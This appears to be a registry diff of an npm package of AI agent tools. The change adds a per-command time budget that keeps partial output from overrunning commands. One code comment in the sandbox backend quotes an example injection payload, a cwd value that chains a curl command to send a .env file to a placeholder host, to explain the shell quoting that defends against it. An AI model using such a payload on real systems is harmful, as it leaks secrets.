@molecule/api-ai-tools 1.0.3 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +23 -2
- package/dist/backends/sandbox.d.ts.map +1 -1
- package/dist/backends/sandbox.js +11 -1
- package/dist/tools.d.ts.map +1 -1
- package/dist/tools.js +22 -2
- package/dist/types.d.ts +17 -0
- package/dist/types.d.ts.map +1 -1
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -3,7 +3,7 @@ AUTO-GENERATED — DO NOT EDIT THIS FILE.
|
|
|
3
3
|
Generated by `mlcl sync-docs` from the package's src/index.ts JSDoc + mlcl/registry.json.
|
|
4
4
|
Edits here are overwritten on the next commit (molecule's pre-commit hook regenerates).
|
|
5
5
|
To change this document, edit the module-level JSDoc in src/index.ts.
|
|
6
|
-
Generated: 2026-
|
|
6
|
+
Generated: 2026-09-13T03:42:47.996Z
|
|
7
7
|
-->
|
|
8
8
|
|
|
9
9
|
# @molecule/api-ai-tools
|
|
@@ -86,7 +86,17 @@ interface ExecutionBackend {
|
|
|
86
86
|
*/
|
|
87
87
|
run(
|
|
88
88
|
command: string,
|
|
89
|
-
opts?: {
|
|
89
|
+
opts?: {
|
|
90
|
+
cwd?: string
|
|
91
|
+
timeout?: number
|
|
92
|
+
/**
|
|
93
|
+
* A budget (ms) the backend enforces INSIDE its own shell, after any
|
|
94
|
+
* environment sourcing a consumer wraps around the command — so an
|
|
95
|
+
* overrun is stopped where it runs and the output so far still comes
|
|
96
|
+
* back, with exit code 124. A backend that cannot enforce it ignores it.
|
|
97
|
+
*/
|
|
98
|
+
budgetMs?: number
|
|
99
|
+
},
|
|
90
100
|
): Promise<{ stdout: string; stderr: string; exitCode: number }>
|
|
91
101
|
}
|
|
92
102
|
```
|
|
@@ -208,6 +218,17 @@ interface ToolBuildConfig {
|
|
|
208
218
|
*/
|
|
209
219
|
execTimeoutMs?: number
|
|
210
220
|
|
|
221
|
+
/**
|
|
222
|
+
* Budget (ms) for a single `exec_command`, passed to `backend.run` as
|
|
223
|
+
* `budgetMs`: the backend runs the command under `timeout` in its own shell,
|
|
224
|
+
* so when it overruns it is stopped there and the tool still returns
|
|
225
|
+
* everything it printed until then (exit code 124 plus an `error` naming
|
|
226
|
+
* the limit). Without this, an outer per-tool timeout races the run and
|
|
227
|
+
* discards minutes of build or test output along with the result. Set it a
|
|
228
|
+
* little under that outer timeout. Unset = no budget.
|
|
229
|
+
*/
|
|
230
|
+
commandBudgetMs?: number
|
|
231
|
+
|
|
211
232
|
/**
|
|
212
233
|
* Directory names `search_files` and `find_files` skip (VS Code
|
|
213
234
|
* `search.exclude` semantics). Defaults to `DEFAULT_SEARCH_EXCLUDED_DIRS`
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"sandbox.d.ts","sourceRoot":"","sources":["../../src/backends/sandbox.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAA;AAGnD,sFAAsF;AACtF,UAAU,WAAW;IACnB,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAA;IACvC,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvD,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvC,OAAO,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,KAAK,CAAC;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,GAAG,WAAW,CAAA;KAAE,CAAC,CAAC,CAAA;IACnF,mEAAmE;IAEnE,CAAC,GAAG,EAAE,MAAM,GAAG,GAAG,CAAA;CACnB;AAED;;;;;;;GAOG;AACH,wBAAgB,oBAAoB,CAClC,OAAO,EAAE,WAAW,EACpB,WAAW,SAAe,GACzB,gBAAgB,
|
|
1
|
+
{"version":3,"file":"sandbox.d.ts","sourceRoot":"","sources":["../../src/backends/sandbox.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,aAAa,CAAA;AAGnD,sFAAsF;AACtF,UAAU,WAAW;IACnB,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAA;IACvC,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvD,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IACvC,OAAO,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,KAAK,CAAC;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,GAAG,WAAW,CAAA;KAAE,CAAC,CAAC,CAAA;IACnF,mEAAmE;IAEnE,CAAC,GAAG,EAAE,MAAM,GAAG,GAAG,CAAA;CACnB;AAED;;;;;;;GAOG;AACH,wBAAgB,oBAAoB,CAClC,OAAO,EAAE,WAAW,EACpB,WAAW,SAAe,GACzB,gBAAgB,CA2ClB"}
|
package/dist/backends/sandbox.js
CHANGED
|
@@ -35,7 +35,17 @@ export function createSandboxBackend(sandbox, projectRoot = '/workspace') {
|
|
|
35
35
|
// payload smuggled via cwd (e.g. "/workspace/. && curl -d @/workspace/.env evil")
|
|
36
36
|
// executed ungated. Quoting makes a malicious cwd simply fail `cd`; legitimate
|
|
37
37
|
// metacharacter-free paths are unaffected.
|
|
38
|
-
const
|
|
38
|
+
const anchored = opts?.cwd ? `cd ${shellQuote(opts.cwd)} && ${command}` : command;
|
|
39
|
+
// A budget runs the WHOLE anchored command (cd, any environment a consumer
|
|
40
|
+
// sourced around it, the command itself) under `timeout` in one shell, so an
|
|
41
|
+
// overrun is stopped where it runs — the process group included — and what it
|
|
42
|
+
// printed still comes back, with exit code 124. Wrapping only the inner
|
|
43
|
+
// command would run it in a child shell that never sees unexported variables
|
|
44
|
+
// the consumer's sourcing set.
|
|
45
|
+
const budgetSeconds = opts?.budgetMs ? Math.max(1, Math.round(opts.budgetMs / 1000)) : 0;
|
|
46
|
+
const fullCommand = budgetSeconds
|
|
47
|
+
? `timeout -k 5 ${budgetSeconds} bash -c ${shellQuote(anchored)}`
|
|
48
|
+
: anchored;
|
|
39
49
|
// sandbox.exec is the Sandbox interface method — runs inside Docker, inherently sandboxed
|
|
40
50
|
const result = await sandbox.exec(fullCommand, { timeout: opts?.timeout });
|
|
41
51
|
return { stdout: result.stdout, stderr: result.stderr, exitCode: result.exitCode };
|
package/dist/tools.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../src/tools.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAEH,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,kBAAkB,CAAA;AAG9C,OAAO,KAAK,EAAE,gBAAgB,EAAE,eAAe,EAAE,MAAM,YAAY,CAAA;AAsBnE;;;;;;GAMG;AACH,wBAAgB,UAAU,CAAC,OAAO,EAAE,gBAAgB,EAAE,MAAM,CAAC,EAAE,eAAe,GAAG,MAAM,EAAE,
|
|
1
|
+
{"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../src/tools.ts"],"names":[],"mappings":"AAAA;;;;;;;GAOG;AAEH,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,kBAAkB,CAAA;AAG9C,OAAO,KAAK,EAAE,gBAAgB,EAAE,eAAe,EAAE,MAAM,YAAY,CAAA;AAsBnE;;;;;;GAMG;AACH,wBAAgB,UAAU,CAAC,OAAO,EAAE,gBAAgB,EAAE,MAAM,CAAC,EAAE,eAAe,GAAG,MAAM,EAAE,CA0qBxF"}
|
package/dist/tools.js
CHANGED
|
@@ -16,7 +16,7 @@ import { checkBlockedCommand, DEFAULT_SEARCH_EXCLUDED_DIRS, directoryReadHint, i
|
|
|
16
16
|
* @returns Array of AITool objects ready to pass to an AI provider
|
|
17
17
|
*/
|
|
18
18
|
export function buildTools(backend, config) {
|
|
19
|
-
const { include, exclude, pathGuards = true, symlinkGuards = false, redactSecrets: doRedact = true, blockDangerousCommands = false, blockCommand, execTimeoutMs = 120_000, searchExcludedDirs, onAfterWrite, onFileDiff, onFileChange, } = config ?? {};
|
|
19
|
+
const { include, exclude, pathGuards = true, symlinkGuards = false, redactSecrets: doRedact = true, blockDangerousCommands = false, blockCommand, execTimeoutMs = 120_000, commandBudgetMs, searchExcludedDirs, onAfterWrite, onFileDiff, onFileChange, } = config ?? {};
|
|
20
20
|
const root = backend.projectRoot;
|
|
21
21
|
// One synchronized excluded-dir set for BOTH search tools (VS Code
|
|
22
22
|
// `search.exclude` semantics). Names are validated defensively — they are
|
|
@@ -502,12 +502,32 @@ export function buildTools(backend, config) {
|
|
|
502
502
|
try {
|
|
503
503
|
// exec_command runs installs/builds/tests — the old 30s hardcap killed
|
|
504
504
|
// those spuriously; use the (generous, caller-configurable) budget.
|
|
505
|
-
|
|
505
|
+
// With a command budget, the BACKEND runs the command under `timeout` in
|
|
506
|
+
// its own shell (after any environment a consumer sources around it): an
|
|
507
|
+
// overrun is stopped there, the whole process group, and everything
|
|
508
|
+
// printed until then comes back with exit code 124 — instead of an outer
|
|
509
|
+
// timeout discarding the run and its output together.
|
|
510
|
+
const budgetSeconds = commandBudgetMs ? Math.max(1, Math.round(commandBudgetMs / 1000)) : 0;
|
|
511
|
+
const result = await backend.run(command, {
|
|
512
|
+
cwd,
|
|
513
|
+
timeout: execTimeoutMs,
|
|
514
|
+
...(commandBudgetMs ? { budgetMs: commandBudgetMs } : {}),
|
|
515
|
+
});
|
|
506
516
|
// truncateMiddle (not truncate): a failing build/test/migration puts its
|
|
507
517
|
// error at the TAIL, so keep the head AND the tail — head-only truncation
|
|
508
518
|
// strands the executor with passing progress and no failure reason.
|
|
509
519
|
const stdout = sanitizeOutput(truncateMiddle(result.stdout, MAX_OUTPUT_SIZE));
|
|
510
520
|
const stderr = sanitizeOutput(truncateMiddle(result.stderr, MAX_OUTPUT_SIZE));
|
|
521
|
+
if (budgetSeconds && result.exitCode === 124) {
|
|
522
|
+
return {
|
|
523
|
+
stdout,
|
|
524
|
+
stderr,
|
|
525
|
+
exitCode: result.exitCode,
|
|
526
|
+
error: `The command was stopped after ${budgetSeconds}s, this tool's limit; the output above is ` +
|
|
527
|
+
'everything it printed until then. Run a smaller unit per command (one test file, one ' +
|
|
528
|
+
'build step) instead of chaining a build and a whole suite.',
|
|
529
|
+
};
|
|
530
|
+
}
|
|
511
531
|
return { stdout, stderr, exitCode: result.exitCode };
|
|
512
532
|
}
|
|
513
533
|
catch (e) {
|
package/dist/types.d.ts
CHANGED
|
@@ -28,6 +28,13 @@ export interface ExecutionBackend {
|
|
|
28
28
|
run(command: string, opts?: {
|
|
29
29
|
cwd?: string;
|
|
30
30
|
timeout?: number;
|
|
31
|
+
/**
|
|
32
|
+
* A budget (ms) the backend enforces INSIDE its own shell, after any
|
|
33
|
+
* environment sourcing a consumer wraps around the command — so an
|
|
34
|
+
* overrun is stopped where it runs and the output so far still comes
|
|
35
|
+
* back, with exit code 124. A backend that cannot enforce it ignores it.
|
|
36
|
+
*/
|
|
37
|
+
budgetMs?: number;
|
|
31
38
|
}): Promise<{
|
|
32
39
|
stdout: string;
|
|
33
40
|
stderr: string;
|
|
@@ -74,6 +81,16 @@ export interface ToolBuildConfig {
|
|
|
74
81
|
* this is only the ceiling before a wedged command is killed.
|
|
75
82
|
*/
|
|
76
83
|
execTimeoutMs?: number;
|
|
84
|
+
/**
|
|
85
|
+
* Budget (ms) for a single `exec_command`, passed to `backend.run` as
|
|
86
|
+
* `budgetMs`: the backend runs the command under `timeout` in its own shell,
|
|
87
|
+
* so when it overruns it is stopped there and the tool still returns
|
|
88
|
+
* everything it printed until then (exit code 124 plus an `error` naming
|
|
89
|
+
* the limit). Without this, an outer per-tool timeout races the run and
|
|
90
|
+
* discards minutes of build or test output along with the result. Set it a
|
|
91
|
+
* little under that outer timeout. Unset = no budget.
|
|
92
|
+
*/
|
|
93
|
+
commandBudgetMs?: number;
|
|
77
94
|
/**
|
|
78
95
|
* Directory names `search_files` and `find_files` skip (VS Code
|
|
79
96
|
* `search.exclude` semantics). Defaults to `DEFAULT_SEARCH_EXCLUDED_DIRS`
|
package/dist/types.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../src/types.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH;;;GAGG;AACH,MAAM,WAAW,gBAAgB;IAC/B,yFAAyF;IACzF,QAAQ,CAAC,WAAW,EAAE,MAAM,CAAA;IAE5B,6CAA6C;IAC7C,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAA;IAEvC,qEAAqE;IACrE,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IAEvD,qBAAqB;IACrB,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAAA;IAEvC,mCAAmC;IACnC,OAAO,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,KAAK,CAAC;QAAE,IAAI,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,MAAM,GAAG,WAAW,CAAA;KAAE,CAAC,CAAC,CAAA;IAEnF;;;OAGG;IACH,GAAG,CACD,OAAO,EAAE,MAAM,EACf,IAAI,CAAC,EAAE;
|
|
1
|
+
{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../src/types.ts"],"names":[],"mappings":"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"}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@molecule/api-ai-tools",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.5",
|
|
4
4
|
"description": "Shared AI agent tools with backend abstraction for sandbox and local execution",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "dist/index.js",
|
|
@@ -34,7 +34,7 @@
|
|
|
34
34
|
"@molecule/api-ai": "1.2.0",
|
|
35
35
|
"@types/node": "26.1.2",
|
|
36
36
|
"typescript": "6.0.3",
|
|
37
|
-
"vitest": "4.1.
|
|
37
|
+
"vitest": "4.1.11"
|
|
38
38
|
},
|
|
39
39
|
"repository": {
|
|
40
40
|
"type": "git",
|